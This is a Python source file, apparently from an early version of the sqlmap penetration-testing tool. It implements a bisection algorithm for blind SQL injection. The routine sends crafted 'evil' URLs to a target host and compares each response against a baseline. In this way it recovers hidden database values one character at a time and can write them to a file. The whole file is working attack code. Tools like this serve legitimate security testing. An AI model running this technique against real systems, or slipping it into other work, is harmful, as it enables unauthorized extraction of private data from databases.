#!/usr/bin/env python


import sys
import time

from lib.request import Request


class Algorithm(Request):
    """
    This class defines the algorithms that can be used to perform
    blind SQL injection on an affected host

    @author: Bernardo Damele
    """

    def bisectionAlgorithm(self, baseUrl, expression, log=True):
        """
        This algorithm is part of the Metasploit Framework 3 module
        'sqlinject.rb' developed by diaul <diaul@devilopers.org>
        """

        count = 0
        index = 0
        value = ""
        end = False

        if self.args.verbose and log:
            sys.stdout.write("[%s] [INFO] retrieved: " % time.strftime("%X"))
            sys.stdout.flush()

        while end != True:
            index += 1
            max = 127
            min = 0

            while (max - min) != 1:
                count += 1
                limit = ((max + min) / 2)

                evilUrl = baseUrl % (expression, index, limit)
                evilResult = self.queryPage(evilUrl)

                if evilResult == self.args.defaultResult:
                    min = limit
                else:
                    max = limit

                if (max - min) == 1:
                    if max == 1:
                        end = True
                        break

                    val = chr(min + 1)
                    value = value + val

                    if self.args.verbose:
                        sys.stdout.write(val)
                        sys.stdout.flush()

                    if self.args.writeFile and log:
                        if val == "\n":
                            self.args.writeFile.write("__NEWLINE__")
                        elif val == "\t":
                            self.args.writeFile.write("__TAB__")
                        else:
                            self.args.writeFile.write(val)

                        self.args.writeFile.flush()

        if self.args.verbose:
            print

        if self.args.writeFile:
           self.args.writeFile.write("\n")
           self.args.writeFile.flush()

        return count, value

